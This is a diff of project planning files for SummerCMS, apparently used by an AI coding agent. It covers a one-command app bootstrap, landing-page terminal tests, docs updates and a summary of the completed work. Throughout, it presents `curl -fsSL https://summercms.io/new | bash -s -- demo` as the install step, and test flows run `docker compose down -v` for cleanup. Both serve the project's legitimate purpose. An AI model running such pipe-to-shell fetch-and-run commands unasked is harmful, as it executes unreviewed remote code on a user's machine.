+terminal.json (contract shape unchanged, three groups and six commands): group `terminal.createApp` with `curl -fsSL https://summercms.io/new | bash -s -- demo`; group `terminal.startDatabase` with `cd sm-demo-app` and `docker compose up -d --wait`; group `terminal.buildAndServe` with `summer build`, `summer migrate`, `summer serve`. en.json: remove `terminal.getFramework`, `terminal.installCli`, `terminal.buildExample` (the "every en.json string is rendered" test requires unused keys to go) and add `createApp` "create an app and install the summer CLI", `startDatabase` "start PostgreSQL in Docker", `buildAndServe` "build, migrate and serve". Leave chips, title and links unchanged. tests/terminal.test.ts: expected `copyPayload` string becomes the six new commands joined by newlines, the comment-key list becomes the three new keys; keep the "no prompt, no comment, no trailing newline" test (the one-liner contains no `$` or `#`). tests/output.test.ts: adjust only if a literal of the old commands is pinned there.
+
+terminal_check_test.go (ungated parts): replace `terminalCloneURL` with `terminalNewURL = "https://summercms.io/new"`; change `terminalScript(groups, newURL string)` so a non-empty `newURL` replaces `terminalNewURL` only inside a command that starts with `curl `; update its doc comment. `TestLoadTerminal` keeps the 3-groups/6-commands assertion and requires the first command to equal `curl -fsSL ` + `terminalNewURL` + ` | bash -s -- demo`. `TestTerminalScript` pins the six new commands verbatim, the override case (`file:///tmp/new.sh` rewrites only the first line) and the "only a curl command is rewritten" case. `TestTerminalCommands` reads the override from `SUMMERCMS_NEW_URL` (its execution flow is reworked in Task 2).
+
+installation.md: add a first section after the intro, before Requirements content about examples/hello, titled with a plain ASCII heading such as "Create an application with one command", showing the one-liner in an `sh` fence, one sentence on what it does (checks Go 1.27 and Docker, fetches the framework at its latest release tag into `./summercms`, installs `summer`, runs `summer new demo`), and the follow-up commands `cd sm-demo-app`, `docker compose up -d --wait`, `summer build`, `summer migrate`, `summer serve` in a second `sh` fence. Headings stay plain ASCII without code spans (docs policy). Task 3 completes the page.
+
+Commit the vue submodule change inside `vue-summercmsio-app`, then the test change plus the gitlink bump in `sm-summercmsio-app`, then the docs change in summercms.go. Do not push.</action>
+  <verify>
+    <automated>go -C ../sm-summercmsio-app vet . &amp;&amp; go -C ../sm-summercmsio-app test -run '^(TestLoadTerminal|TestTerminalScript|TestTerminalEnv)$' -count=1 -v . &amp;&amp; pnpm -C ../sm-summercmsio-app/vue-summercmsio-app generate &amp;&amp; pnpm -C ../sm-summercmsio-app/vue-summercmsio-app test &amp;&amp; go test ./cmd/summer -run '^TestDocsTree$' -count=1 &amp;&amp; go run ./cmd/summer docs:build --check</automated>
+    <fails_when>Non-zero exit; any "--- FAIL" or "not ok" line; the TAP summary shows "# fail" greater than 0; `docs:build --check` prints a problem count; or any of "--- PASS: TestLoadTerminal", "--- PASS: TestTerminalScript" is absent.</fails_when>
+  </verify>
+  <acceptance_criteria>
+    - `grep -c 'curl -fsSL https://summercms.io/new | bash -s -- demo' ../sm-summercmsio-app/vue-summercmsio-app/app/data/terminal.json` is 1 and `grep -c 'docker compose up -d --wait' ../sm-summercmsio-app/vue-summercmsio-app/app/data/terminal.json` is 1.
+    - `grep -c 'getFramework\|installCli\|buildExample' ../sm-summercmsio-app/vue-summercmsio-app/i18n/locales/en.json` prints 0.
+    - `grep -c 'SUMMERCMS_NEW_URL' ../sm-summercmsio-app/terminal_check_test.go` is at least 1 and `grep -c 'terminalNewURL' ../sm-summercmsio-app/terminal_check_test.go` is at least 2.
+    - The first `sh` fence in docs/setup/installation.md contains the one-liner and appears before the first mention of `examples/hello`.
+    - `pnpm test` reports 0 failures after `pnpm generate`.
+  </acceptance_criteria>
+  <done>The landing page renders and copies the one-liner flow, the site's ungated checks pin it, and the installation guide opens with the same command.</done>
+</task>
+
+<task type="auto">
+  <name>Task 2: Run the page's commands end to end and update the site docs</name>
+  <precondition>Plan 02 is committed in summercms.go (modules/sunrise/new.sh at HEAD), the Docker daemon is reachable, host ports 54320 and 8080 are free, and pnpm can run `nuxt generate`.</precondition>
+  <files>../sm-summercmsio-app/terminal_check_test.go, ../sm-summercmsio-app/README.md, ../sm-summercmsio-app/CLAUDE.md, ../sm-summercmsio-app/DEPLOY.md</files>
+  <read_first>../sm-summercmsio-app/terminal_check_test.go (terminalEnv, TestTerminalCommands), ../sm-summercmsio-app/README.md (gated test variable table, lines 40-55, and line 3), ../sm-summercmsio-app/CLAUDE.md (lines 7, 39, 55), ../sm-summercmsio-app/DEPLOY.md (launch checklist step 4), ../sm-summercmsio-app/scripts/build.sh (dev mode), ../sm-summercmsio-app/plugins/golem15/summercms/links_test.go (TestTerminalCommandsInPage), modules/sunrise/README.md (override variables)</read_first>
+  <action>Rework the gated execution so the new six commands run verbatim (D-19, D-20 on the developer machine).
+
+Add `terminalRunScript(script string) string`: returns the script unchanged except that a line equal to `summer serve` becomes: start `summer serve` in the background, poll `http://127.0.0.1:8080/` with curl for at most 60 seconds, print the response body, stop the server and fail when it never answered. Cover it with an ungated `TestTerminalRunScript` (serve line replaced, all other lines verbatim, a script without `summer serve` unchanged). `TestTerminalCommands`: run `bash -euo pipefail -c terminalRunScript(terminalScript(groups, os.Getenv("SUMMERCMS_NEW_URL")))` in a temp work dir with `terminalEnv` plus `COMPOSE_PROJECT_NAME=summercms-terminal-<pid>`; SUMMERCMS_REPO and SUMMERCMS_REF pass through untouched (terminalEnv only drops the framework config prefix, GOWORK and GOBIN); register a `t.Cleanup` that runs `docker compose down -v` with the same project name in the directory named by the page's `cd` command when it exists; require the output to contain `"plugin":"golem15.demo"` (this replaces the old greeter-output assertion). Keep the 10 minute budget, raise it to 20 if the first run needs it.
+
+Site docs: README.md gated-variable table — `SUMMERCMS_TERMINAL_CHECK=1` runs the six Get started commands (the one-liner, PostgreSQL in Docker, build, migrate, serve) in a fresh shell with a temp GOBIN first on PATH, needs Docker and free ports 54320 and 8080, and requires the starter route JSON; replace the clone-URL override row with `SUMMERCMS_NEW_URL` (replaces only the script URL, for example `file://` + the framework checkout's `modules/sunrise/new.sh` before deploy) and note that `SUMMERCMS_REPO` and `SUMMERCMS_REF` pass through to the script for pre-tag runs; mention in the opening paragraph that the binary also serves the bootstrap script at `/new`. CLAUDE.md: same variable change on the gated-variables line, `/new` in the "What this is" paragraph. DEPLOY.md step 4: the terminal check now runs the six one-liner commands with no overrides and needs Docker; add that after the redeploy the framework's `scripts/check-phase14.3.sh --acceptance-production` repeats the run from a clean container. Leave every `v0.1.12` reference alone (the bump is a post-phase user action, D-28).
+
+Run the gated check with local overrides (pre-tag, pre-deploy) and the page drift guard after a dev build, then commit in `sm-summercmsio-app`. Do not push.</action>
+  <verify>
+    <automated>FW="$PWD" &amp;&amp; go -C ../sm-summercmsio-app test -run '^TestTerminalRunScript$' -count=1 -v . &amp;&amp; SUMMERCMS_TERMINAL_CHECK=1 SUMMERCMS_NEW_URL="file://$FW/modules/sunrise/new.sh" SUMMERCMS_REPO="$FW" SUMMERCMS_REF="$(git -C "$FW" rev-parse HEAD)" go -C ../sm-summercmsio-app test -run '^TestTerminalCommands$' -count=1 -v -timeout 25m . &amp;&amp; (cd ../sm-summercmsio-app &amp;&amp; scripts/build.sh dev) &amp;&amp; SUMMERCMS_REQUIRE_BUILD=1 go -C ../sm-summercmsio-app/plugins/golem15/summercms test -run '^TestTerminalCommandsInPage$' -count=1 -v ./...</automated>
+    <fails_when>Non-zero exit; "--- FAIL"; "--- SKIP: TestTerminalCommands" or "--- SKIP: TestTerminalCommandsInPage"; or any of "--- PASS: TestTerminalRunScript", "--- PASS: TestTerminalCommands", "--- PASS: TestTerminalCommandsInPage" is absent.</fails_when>
+  </verify>
+  <acceptance_criteria>
+    - `grep -c 'SUMMERCMS_CLONE_URL' ../sm-summercmsio-app/terminal_check_test.go ../sm-summercmsio-app/README.md ../sm-summercmsio-app/CLAUDE.md` prints 0 for each file.
+    - `grep -c 'golem15.demo' ../sm-summercmsio-app/terminal_check_test.go` is at least 1 and `grep -c 'handled=true' ../sm-summercmsio-app/terminal_check_test.go` prints 0.
+    - `grep -c '/new' ../sm-summercmsio-app/README.md` is at least 1 and `grep -c 'acceptance-production' ../sm-summercmsio-app/DEPLOY.md` is at least 1.
+    - `grep -c 'v0.1.12' ../sm-summercmsio-app/go.mod` is unchanged from before this plan.
+    - After the gated run, `docker ps -a --filter label=com.docker.compose.project` lists no `summercms-terminal-` container.
+  </acceptance_criteria>
+  <done>The six landing-page commands run verbatim against the local script and framework and end with the starter route answering, the built page shows exactly those commands, and the site docs describe the new check and route.</done>
+</task>
+
+<task type="auto">
+  <name>Task 3: Framework docs for summer new and the regenerated llms outputs</name>
+  <files>docs/setup/installation.md, docs/architecture/go-modules-and-workspaces.md, docs/console/scaffolding.md, docs/console/introduction.md, docs/site.yaml, README.md</files>
+  <read_first>docs/setup/installation.md, docs/architecture/go-modules-and-workspaces.md, docs/console/scaffolding.md, docs/console/introduction.md, docs/site.yaml (llms_notes), README.md (Requirements, Quick start, Using SummerCMS in an application), internal/build/new.go (rules and resolution order as implemented), cmd/summer/main.go (newCommand flags), modules/sunrise/README.md, internal/docsite/check_commands.go (what the command checker reads), internal/docsite/check_policy.go (heading and src= rules), .planning/phases/14.3-one-command-app-scaffolding-summer-new-and-summercms-io-new/14.3-RESEARCH.md (Q8, the obsolete main.go warning)</read_first>
+  <action>Finish D-18 in summercms.go, describing behaviour exactly as implemented in plans 01 and 02.
+
+installation.md: description frontmatter mentions the one-command start. Order: intro; the one-command section from Task 1; a section on what the script does and its options (prerequisites Go 1.27, git, Docker; framework cloned into `./summercms` and checked out at the newest release tag; re-runs fetch tags and move forward only, refusing a checkout with local changes or on a branch; `SUMMERCMS_REPO`, `SUMMERCMS_DIR`, `SUMMERCMS_REF`; the PATH hint; the `cd` line); a section on running the app (compose PostgreSQL 16 on 127.0.0.1:54320, `.env` with the generated key, `summer build`, `summer migrate`, `summer serve`, `curl http://127.0.0.1:8080/`); a section on `summer new` without the script (clone, `go install ./cmd/summer`, run `summer new demo` next to the checkout or pass `--framework`); then the existing manual examples/hello walkthrough as the second path. Remove the callout that lists the old example defects entirely: the http.yaml gap is fixed and research found the main.go warning obsolete. Keep the existing Go fence with its `src=` reference intact.
+
+go-modules-and-workspaces.md: add a section (plain ASCII heading, for example "Applications created by summer new") covering module path `git.golem15.com/golem15/sm-<name>-app`, the relative framework `replace`, the detection order (`--framework`, `../summercms`, `../summercms.go` matched by module path, then the summer binary's own source tree), the committed go.work with relative `use` paths, no root go.sum and gitignored go.work.sum; change the plugin:add sentence to say it adds a relative path to the nearest go.work. scaffolding.md: new section "Creating an application" before "Creating a plugin" with `summer new acme`, the name rule (lower-case letters and digits starting with a letter, not a Go keyword, `main` or `internal`), the refusal of an existing directory, a table of `--framework`, `--no-plugin`, `--no-git`, the files written (go.mod, go.work, summer.yaml, config/, .env, .env.example, compose.yaml, .gitignore, CLAUDE.md, AGENTS.md, the starter plugin with `GET /`), the first commit and the printed next steps, and the naming convention `sm-<name>-app`, `sm-<name>-plugin`, `sm-<name>-theme` (D-01). introduction.md: the summer row says it creates, builds and watches applications and is installed by the one-liner or `go install ./cmd/summer`; the chapter list mentions `summer new` under Scaffolding. site.yaml: add one `llms_notes` entry stating that a new application starts with `curl -fsSL https://summercms.io/new | bash -s -- <name>` or `summer new <name>` next to a framework checkout.
+
+Root README.md: Requirements say Docker runs the generated application's PostgreSQL; Quick start leads with the one-liner and the follow-up commands, then `summer new` for an existing checkout, then the examples/hello walkthrough; remove the subsection that lists the old example defects; "Using SummerCMS in an application" says `summer new` writes the go.mod with a relative replace for you. Use neutral names (`demo`, `acme`) only. Then build the docs into a temp directory and confirm the llms outputs contain the new material (D-18 regenerate; the files are build output and are not committed). Commit as one docs commit.</action>
+  <verify>
+    <automated>go test ./cmd/summer -run '^(TestDocsTree|TestDocsBuildRealTree|TestDocsAIOutputsInSync|TestDocsRequiredPages|TestEveryModuleInSidebar)$' -count=1 -v &amp;&amp; go run ./cmd/summer docs:build --check &amp;&amp; bash -c 'set -e; o="$(mktemp -d)/site"; go run ./cmd/summer docs:build --out "$o" >/dev/null; grep -qF "curl -fsSL https://summercms.io/new | bash -s -- demo" "$o/llms-full.txt"; grep -qF "summer new" "$o/llms-full.txt"; grep -qF "summercms.io/new" "$o/llms.txt"; echo LLMS-OK'</automated>
+    <fails_when>Non-zero exit; any "--- FAIL"; `docs:build --check` prints problems; any of "--- PASS: TestDocsTree", "--- PASS: TestDocsAIOutputsInSync" absent; or the output lacks "LLMS-OK".</fails_when>
+  </verify>
+  <acceptance_criteria>
+    - `grep -c 'git checkout -- examples/hello/main.go' docs/setup/installation.md README.md` prints 0 for each file, `grep -c 'http.body_limits.default_bytes is required' docs/setup/installation.md` prints 0, and `grep -c 'Known issues' README.md` prints 0.
+    - `grep -c 'summer new' docs/console/scaffolding.md docs/architecture/go-modules-and-workspaces.md docs/setup/installation.md` is at least 1 for each file.
+    - `grep -c -- '--no-plugin' docs/console/scaffolding.md` and `grep -c -- '--no-git' docs/console/scaffolding.md` are at least 1.
+    - `grep -c 'summercms.io/new' docs/site.yaml` is 1.
+    - llms-full.txt from a fresh build contains the one-liner and `summer new`; llms.txt contains `summercms.io/new` through the llms note.
+    - `grep -Eci 'fonoteka|p[lł]ytarium' docs/setup/installation.md docs/console/scaffolding.md docs/architecture/go-modules-and-workspaces.md README.md` prints 0 for each file.
+  </acceptance_criteria>
+  <done>Installation, architecture and console docs plus the root README lead with the one-command start and document `summer new` exactly as built; docs checks and llms outputs are green.</done>
+</task>
+
+</tasks>
+
+<threat_model>
+## Trust Boundaries
+
+| Boundary | Description |
+|----------|-------------|
+| Docs and landing page -> reader's shell | Readers copy and run the shown commands verbatim |
+| Gated terminal check -> local Docker | The check starts real containers and a server |
+
+## STRIDE Threat Register
+
+| Threat ID | Category | Component | Severity | Disposition | Mitigation Plan |
+|-----------|----------|-----------|----------|-------------|-----------------|
+| T-14.3-20 | Tampering | one-liner shown on page and in docs | medium | mitigate | HTTPS URL with `curl -fsSL`, pinned verbatim by TestTerminalScript, terminal.test.ts and TestTerminalCommandsInPage; docs fence checked by the plan 03 Task 3 llms grep |
+| T-14.3-21 | Denial of Service | gated terminal check leftovers | low | mitigate | Unique COMPOSE_PROJECT_NAME, `t.Cleanup` with `docker compose down -v`, bounded serve poll that stops the server |
+| T-14.3-22 | Information Disclosure | docs naming a consuming application | low | mitigate | `docs:build --check` forbidden-name rule plus the acceptance grep on README.md |
+| T-14.3-SC | Tampering | npm/pip/cargo installs | high | mitigate | No new npm or Go packages; `pnpm generate` and `pnpm test` use the existing lockfile only |
+</threat_model>
+
+<verification>
+Task 1 (ungated site tests, pnpm generate and test, docs tree), Task 2 (gated six-command run, dev build, page drift guard), Task 3 (docs tests, docs:build --check, llms grep). Then `go vet ./... && go test ./... -short` in summercms.go and `go -C ../sm-summercmsio-app test ./... -count=1`.
+</verification>
+
+<success_criteria>
+- Roadmap success criterion 5: installation.md leads with the one-liner, go-modules-and-workspaces.md and the console docs cover `summer new`, llms outputs include the changes, docs checks pass.
+- D-19: the landing page "Get started" shows and copies the one-liner flow; TestTerminalCommands runs it end to end locally.
+- Release-gated items (site require bump to v0.1.13, redeploy, production acceptance) are left to the post-phase user steps listed in plan 04.
+</success_criteria>
+
+<output>
+Create `.planning/phases/14.3-one-command-app-scaffolding-summer-new-and-summercms-io-new/14.3-03-SUMMARY.md` when done.
+</output>
+</content>
+</invoke>

.planning/phases/14.3-one-command-app-scaffolding-summer-new-and-summercms-io-new/14.3-03-SUMMARY.md

@@ -0,0 +1,206 @@
+---
+phase: 14.3-one-command-app-scaffolding-summer-new-and-summercms-io-new
+plan: 03
+subsystem: docs
+tags: [docs, summer-new, bootstrap, landing-page, nuxt, terminal-check, llms]
+
+requires:
+  - phase: 14.3-01
+    provides: "summer new with --framework, --no-plugin, --no-git; relative go.work paths from plugin:add"
+  - phase: 14.3-02
+    provides: "modules/sunrise new.sh, site GET /new, check-phase14.3.sh --acceptance-production"
+provides:
+  - "docs/setup/installation.md led by curl -fsSL https://summercms.io/new | bash -s -- demo"
+  - "go-modules-and-workspaces section Applications created by summer new"
+  - "console scaffolding section Creating an application (flags, files, first commit, naming)"
+  - "llms_notes entry for the one-command start; llms.txt and llms-full.txt carry it"
+  - "landing page Get started: one-liner, compose, build, migrate, serve (vue 6140750)"
+  - "terminal_check_test.go: terminalNewURL, SUMMERCMS_NEW_URL, terminalRunScript, reworked gated TestTerminalCommands (app d073cb9, 9539e90)"
+affects: [14.3-04 unit tests, v0.1.13 release, site redeploy]
+
+actuals:
+  tokens: 11499
+  tasks: 3
+  commits: 2
+plan_head_before: 0d117a3e57769f0b5082fb718e3d2fd755a9b406
+plan_head_after: e0640220f26fa1c25d3b1cc33e6c3e4ad5d5815b
+
+tech-stack:
+  added: []
+  patterns:
+    - "Gated shell check rewrites a blocking serve line into a background run, a bounded poll of the starter route and a stop of the app binary (pkill -P) before summer itself"
+    - "Unique COMPOSE_PROJECT_NAME plus t.Cleanup docker compose down -v in the directory the page's cd command names"
+
+key-files:
+  created:
+    - .planning/phases/14.3-one-command-app-scaffolding-summer-new-and-summercms-io-new/14.3-03-SUMMARY.md
+  modified:
+    - docs/setup/installation.md
+    - docs/architecture/go-modules-and-workspaces.md
+    - docs/console/scaffolding.md
+    - docs/console/introduction.md
+    - docs/site.yaml
+    - README.md
+    - ../sm-summercmsio-app/vue-summercmsio-app/app/data/terminal.json
+    - ../sm-summercmsio-app/vue-summercmsio-app/i18n/locales/en.json
+    - ../sm-summercmsio-app/vue-summercmsio-app/tests/terminal.test.ts
+    - ../sm-summercmsio-app/terminal_check_test.go
+    - ../sm-summercmsio-app/README.md
+    - ../sm-summercmsio-app/CLAUDE.md
+    - ../sm-summercmsio-app/DEPLOY.md
+
+key-decisions:
+  - "The serve block stops the application binary first (pkill -P on the summer pid), because summer serve has no signal handling and killing summer alone would orphan the server on :8080"
+  - "tests/output.test.ts needed no change: it reads terminal.json and en.json instead of pinning old command literals"
+  - "The manual path in the installation guide uses go -C summercms install ./cmd/summer; verified on a fresh local clone without GOWORK=off"
+
+patterns-established:
+  - "A docs command line with summer new keeps flags after the name (summer new demo --framework <path>) so the docs command checker sees the command word"
+
+requirements-completed: [D-01, D-18, D-19, D-20, D-24, D-28]
+
+coverage:
+  - id: D1
+    description: "Landing page Get started shows and copies the six one-liner commands; every en.json string is rendered and no old terminal key remains"
+    requirement: D-19
+    verification:
+      - kind: unit
+        ref: "vue-summercmsio-app: pnpm generate && pnpm test (32 pass, 0 fail)"
+        status: pass
+      - kind: integration
+        ref: "SUMMERCMS_REQUIRE_BUILD=1 go -C plugins/golem15/summercms test -run TestTerminalCommandsInPage (after scripts/build.sh dev)"
+        status: pass
+    human_judgment: false
+  - id: D2
+    description: "Site checks pin the commands: TestLoadTerminal, TestTerminalScript (SUMMERCMS_NEW_URL rewrites only the curl command), TestTerminalEnv, TestTerminalRunScript"
+    requirement: D-19
+    verification:
+      - kind: unit
+        ref: "sm-summercmsio-app/terminal_check_test.go#TestLoadTerminal,TestTerminalScript,TestTerminalEnv,TestTerminalRunScript"
+        status: pass
+    human_judgment: false
+  - id: D3
+    description: "The six page commands run verbatim against the local script and framework HEAD and the backgrounded summer serve answers with \"plugin\":\"golem15.demo\"; the compose project is removed"
+    requirement: D-20
+    verification:
+      - kind: e2e
+        ref: "SUMMERCMS_TERMINAL_CHECK=1 SUMMERCMS_NEW_URL=file://<fw>/modules/sunrise/new.sh SUMMERCMS_REPO=<fw> SUMMERCMS_REF=<HEAD> go test -run TestTerminalCommands"
+        status: pass
+    human_judgment: false
+  - id: D4
+    description: "Installation, go modules and console docs plus the root README lead with the one-command start and document summer new as built; llms outputs include it"
+    requirement: D-18
+    verification:
+      - kind: unit
+        ref: "go test ./cmd/summer -run TestDocsTree|TestDocsBuildRealTree|TestDocsAIOutputsInSync|TestDocsRequiredPages|TestEveryModuleInSidebar"
+        status: pass
+      - kind: other
+        ref: "summer docs:build --check; docs:build --out <tmp> then grep llms-full.txt and llms.txt (LLMS-OK)"
+        status: pass
+    human_judgment: false
+  - id: D5
+    description: "Docs wording is accurate, readable and neutral (no consuming application named)"
+    requirement: D-18
+    verification:
+      - kind: other
+        ref: "grep -Eci 'fonoteka|p[lł]ytarium' on the four pages prints 0; docs:build --check forbidden-name rule"
+        status: pass
+    human_judgment: true
+    rationale: "Prose quality and the correctness of every behavioural sentence need a human read; checks only prove identifiers, links and names"
+  - id: D6
+    description: "Site framework require stays at v0.1.12; nothing pushed, tagged or deployed"
+    requirement: D-28
+    verification:
+      - kind: other
+        ref: "grep -c v0.1.12 sm-summercmsio-app/go.mod = 1 before and after"
+        status: pass
+    human_judgment: true
+    rationale: "Release, require bump and redeploy are user actions after the phase"
+
+duration: 9min
+completed: 2026-10-08
+status: complete
+---
+
+# Phase 14.3 Plan 03: Docs and landing page for the one-command start Summary
+
+**The installation guide, the console and go-modules docs, the root README and llms outputs now lead with `curl -fsSL https://summercms.io/new | bash -s -- demo` and document `summer new` as built. The summercms.io Get started card shows the six new commands, and a gated site test runs those commands verbatim until the starter route answers.**
+
+## Performance
+
+- **Duration:** 9 min
+- **Started:** 2026-10-08T10:00:04Z
+- **Completed:** 2026-10-08T10:09:15Z
+- **Tasks:** 3
+- **Files modified:** 13 (6 in summercms.go, 4 in sm-summercmsio-app, 3 in vue-summercmsio-app)
+
+## Accomplishments
+
+- `terminal.json`: groups `terminal.createApp` (the one-liner), `terminal.startDatabase` (`cd sm-demo-app`, `docker compose up -d --wait`) and `terminal.buildAndServe` (`summer build`, `summer migrate`, `summer serve`). The matching en.json strings replace `getFramework`, `installCli` and `buildExample`.
+- `terminal_check_test.go`: `terminalNewURL` and the `SUMMERCMS_NEW_URL` override (curl command only), `terminalRunScript` (background serve, 60 s poll, print body, stop), `terminalCdDir`, and `TestTerminalCommands` with a unique compose project, `t.Cleanup` down -v and the `"plugin":"golem15.demo"` assertion.
+- Gated run on this machine: the six commands passed in 17.5 s with output `{"message":"Hello from SummerCMS","plugin":"golem15.demo"}`. No `summercms-terminal-*` container or volume was left behind, port 8080 was free afterwards and no orphaned app binary remained.
+- Framework docs: the installation guide has the one-command section, what the script does (steps, refusals, three overrides), running the app, `summer new` without the script, and then the examples/hello walkthrough. The obsolete known-issues callout is gone; `summer build` in examples/hello now leaves main.go unchanged. The go-modules page has "Applications created by summer new", and `plugin:add` now adds a relative go.work path. Scaffolding has "Creating an application", introduction and site.yaml carry the llms note, and the root README has a new quick start.
+
+## Task Commits
+
+1. **Task 1: one-liner through terminal.json, site checks, installation guide**: vue `6140750` (feat), app `d073cb9` (feat, with the gitlink bump), framework `9058252` (docs)
+2. **Task 2: end-to-end run of the page commands and site docs**: app `9539e90` (feat)
+3. **Task 3: framework docs for summer new and llms outputs**: framework `e064022` (docs)
+
+Tracer gate after Task 1 (interactive, end-of-phase, automated-only verify): the verify chain was re-run green, so expansion continued.
+
+## Files Created/Modified
+
+- `docs/setup/installation.md`: one-command start first, then the manual path
+- `docs/architecture/go-modules-and-workspaces.md`: what summer new writes, the detection order and relative go.work paths
+- `docs/console/scaffolding.md`: Creating an application
+- `docs/console/introduction.md`: summer row and chapter list
+- `docs/site.yaml`: llms note
+- `README.md`: Requirements, Quick start, Using SummerCMS in an application
+- `sm-summercmsio-app/terminal_check_test.go`, `README.md`, `CLAUDE.md`, `DEPLOY.md`: the new check, its variables, `/new`, and step 4 of the deploy checklist
+- `vue-summercmsio-app/app/data/terminal.json`, `i18n/locales/en.json`, `tests/terminal.test.ts`: the landing page commands
+
+## Decisions Made
+
+- The serve stop kills summer's child (the app binary) before summer. `summer serve` delegates through `exec.CommandContext` and has no signal handler, so killing summer alone would leave the server running.
+- `tests/output.test.ts` was left unchanged because it derives everything from terminal.json and en.json.
+
+## Deviations from Plan
+
+### Auto-fixed Issues
+
+**1. [Rule 1 - Bug] DEPLOY.md step 2 still referred to the page's `git clone` command**
+- **Found during:** Task 2
+- **Issue:** The page no longer shows a clone command, so step 2's reason for making the repository public was stale.
+- **Fix:** It now says the Source links and the bootstrap script behind the one-liner (which clones the repository) point at it.
+- **Files modified:** ../sm-summercmsio-app/DEPLOY.md
+- **Committed in:** 9539e90
+
+**2. [Rule 3 - Blocking] Frontmatter descriptions over 160 characters**
+- **Found during:** Task 3
+- **Issue:** `TestDocsTree` rejected the longer descriptions on three pages.
+- **Fix:** Shortened them while keeping the summer new mention.
+- **Committed in:** e064022
+
+---
+
+**Total deviations:** 2 auto-fixed (1 bug, 1 blocking). **Impact:** None on scope.
+
+## Issues Encountered
+
+None.
+
+## User Setup Required
+
+None in this plan. After the phase the user tags v0.1.13, bumps the site's require, redeploys, runs DEPLOY.md step 4 with no overrides and runs `scripts/check-phase14.3.sh --acceptance-production` (plan 04 lists these).
+
+## Next Phase Readiness
+
+- Plan 04 (unit tests) can proceed. Docs and site already describe `summer new` and the one-liner exactly as implemented.
+- Nothing was pushed, tagged or deployed. The site go.mod still requires v0.1.12 (D-28).
+
+---
+*Phase: 14.3-one-command-app-scaffolding-summer-new-and-summercms-io-new*
+*Completed: 2026-10-08*
+
+## Self-Check: PASSED

.planning/phases/14.3-one-command-app-scaffolding-summer-new-and-summercms-io-new/14.3-04-PLAN.md

@@ -0,0 +1,312 @@
+---
+phase: 14.3-one-command-app-scaffolding-summer-new-and-summercms-io-new
+plan: 04
+type: execute
+wave: 4
+depends_on: ["14.3-03"]
+files_modified:
+  - internal/build/new_golden_test.go
+  - internal/build/new_test.go
+  - internal/build/build_test.go
+  - internal/build/testdata/new/go.mod.golden
+  - internal/build/testdata/new/go.work.golden
+  - internal/build/testdata/new/summer.yaml.golden
+  - internal/build/testdata/new/main.go.golden
+  - internal/build/testdata/new/plugins.gen.go.golden
+  - internal/build/testdata/new/config__app.yaml.golden
+  - internal/build/testdata/new/config__database.yaml.golden
+  - internal/build/testdata/new/config__http.yaml.golden
+  - internal/build/testdata/new/config__storage.yaml.golden
+  - internal/build/testdata/new/dot-env.golden
+  - internal/build/testdata/new/dot-env.example.golden
+  - internal/build/testdata/new/dot-gitignore.golden
+  - internal/build/testdata/new/compose.yaml.golden
+  - internal/build/testdata/new/CLAUDE.md.golden
+  - internal/build/testdata/new/plugins__demo__plugin.go.golden
+  - internal/build/testdata/new/plugins__demo__routes.go.golden
+  - internal/build/testdata/new/next-steps.txt.golden
+  - internal/build/testdata/new-no-plugin/go.mod.golden
+  - internal/build/testdata/new-no-plugin/go.work.golden
+  - internal/build/testdata/new-no-plugin/summer.yaml.golden
+  - internal/build/testdata/new-no-plugin/plugins.gen.go.golden
+  - internal/build/testdata/new-no-plugin/CLAUDE.md.golden
+  - internal/build/testdata/new-no-plugin/next-steps.txt.golden
+  - modules/lagoon/keygen_test.go
+  - cmd/summer/main_test.go
+  - modules/sunrise/script_behavior_test.go
+  - scripts/check-phase14.3.sh
+  - .planning/phases/14.3-one-command-app-scaffolding-summer-new-and-summercms-io-new/14.3-SECURITY-REVIEW.md
+  - .planning/phases/14.3-one-command-app-scaffolding-summer-new-and-summercms-io-new/14.3-VALIDATION.md
+autonomous: true
+requirements: [D-01, D-02, D-03, D-04, D-05, D-06, D-07, D-08, D-09, D-10, D-11, D-12, D-13, D-14, D-15, D-16, D-17, D-18, D-19, D-20, D-21, D-22, D-23, D-24, D-25, D-26, D-27, D-28]
+estimate:
+  tokens: 150000
+  raw_tokens: 150000
+  tasks: 3
+  confidence: low
+must_haves:
+  truths:
+    - "D-21: TestNewGolden renders `summer new demo` (fixed test key, --no-git, framework through a `summercms` symlink sibling) and every listed file matches its golden under internal/build/testdata/new byte for byte; TestNewGoldenNoPlugin does the same for --no-plugin; goldens change only with `-update`."
+    - "D-21: the real build of a generated app (with and without the starter plugin) runs in TestNewAppSmoke and TestNewNoPluginBuilds and is skipped only under -short."
+    - "D-02/D-22 error cases: TestNewValidateAppName rejects empty, upper-case, leading digit, punctuation, every Go keyword, main and internal, and accepts init, string, vendor, testdata, a1; TestNewRefusesExistingTarget covers a directory, a file, a symlink and a dangling symlink and proves each is untouched."
+    - "D-04 error cases: TestNewFrameworkResolution proves --framework wins (and a mismatched module there is an error, not a fall-through), ../summercms before ../summercms.go, module-path matching skips a wrong sibling, the binary-source candidate is used last, and with none the error contains --framework; TestNewRefusesTargetInsideFramework refuses a target inside the checkout."
+    - "Edge: TestNewCleansUpOnFailure forces a failure after the target was created and asserts the target is gone while a pre-existing sibling file is untouched."
+    - "D-08/D-10/D-11: TestNewEnvFileMode (0600), TestNewAgentsSymlink (AGENTS.md -> CLAUDE.md), TestNewGitFirstCommit (one commit on main, fallback author SummerCMS <summer@localhost> only when no identity, .env untracked, .env.example/go.work/main.go/plugins.gen.go/AGENTS.md tracked), TestNewGitUsesConfiguredIdentity, TestNewGitMissingIsWarning and TestNewNoGit pass."
+    - "D-27: TestMakeAndAddPluginOnHelloCopy asserts every go.work use path is relative; TestMakePluginRoutesUnchanged asserts plain make:plugin still renders the no-route stub; TestGenerateAppKey proves 44 characters, 32 decoded bytes and distinct values."
+    - "D-14..D-17/D-26: TestScriptBehavior drives new.sh with only git and stubs on PATH and proves usage and name errors, existing app refusal, Go missing/old/devel handling, git required, Docker warning only, newest numeric release tag ignoring pre-releases, SUMMERCMS_REF, fast-forward re-runs, no-op when current, refusal of dirty, branch, non-fast-forward, moved-tag, non-framework and non-git checkouts with HEAD unchanged, summer invoked with `new demo --framework <abs>` from the parent with stdin not read, the cd line, and the PATH hint only when needed; TestScriptShellcheck passes."
+    - "Gate: `bash scripts/check-phase14.3.sh --all` runs vet, full tests, examples/hello tests, docs check, site plugin/app/vue tests, the generator stage, the gated bootstrap and terminal runs, the D-20 acceptance stage, forbidden-surface scans and the security check, requires a named PASS for each required test, and ends with `Phase 14.3 gate passed`."
